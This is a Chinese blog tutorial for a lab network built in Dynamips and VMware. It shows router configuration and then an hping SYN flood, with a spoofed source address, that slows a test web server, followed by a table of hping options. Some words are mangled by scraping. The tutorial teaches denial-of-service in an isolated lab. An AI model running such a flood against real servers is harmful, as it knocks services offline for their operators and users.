需求描述服務器
使用hping構造SYN報文段,模擬實現SYN Flood ide
R1: spa
Router1 F0/0 <----> XPC P0/03d Router1 F1/0 <----> XPC P0/1blog Router1 F2/0 <----> XPC P0/2ip |
環境搭建ci
使用VMWare和Dynamips。(PC1能夠使用本地宿主機)get
實現思路源碼
1. 配置DynamipsGUI - R1 博客
Router#conf t Router(config)#hostname R1 R1(config)#line 0 R1(config-line)#logg s R1(config-line)#exit R1(config)#int f0/0 R1(config-if)#ip add 192.168.0.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f1/0 R1(config-if)#ip add 192.168.1.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#int f2/0 R1(config-if)#ip add 192.168.2.254 255.255.255.0 R1(config-if)#no shut R1(config-if)#end R1#show ip int b Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.168.0.254 YES manual up up FastEthernet1/0 192.168.1.254 YES manual up up FastEthernet2/0 192.168.2.254 YES manual up up |
2. 在Web主機上搭建安裝Web服務
3. 在PC1上訪問Web服務器,能夠正常訪問。
4. 在Web服務器上啓用SnifferPro抓包
5. 在PC2上發動SYN Flood***(須要提早安裝Hping源碼包)
[root@localhost ~]# hping 192.168.1.1 -p 80 -i u1 -S -a 1.1.1.1 HPING 192.168.1.1 (eth0 192.168.1.1): S set, 40 headers + 0 data bytes |
6. 在Web主機上查看SnifferPro抓到的包,看到有不少SYN Flood
7. 在PC1上訪問Web服務器時,看到打開網頁時很是慢,甚至沒法訪問
補充:
hping相關參數說明
參數 |
說明 |
-1 |
使用ICMP模式 |
-2 |
使用UDP模式 |
-p |
指定目的主機端口號 |
-i |
設置發送時間間隔,例如 -i u100 表示間隔100微秒 |
-S |
設置SYN標誌 |
-a |
僞造源IP地址 |
-c |
發送數據包個數 |
-N |
設置IP包的ID |
-t |
設置TTL(默認64) |
-x |
設置more fragments 標誌 |
-g |
設置fragment offset |
-C |
設置ICMP類型 |
-d |
設置載荷大小 |
至此、實驗完畢!
歡迎來個人博客:http://jiayf.blog.51cto.com/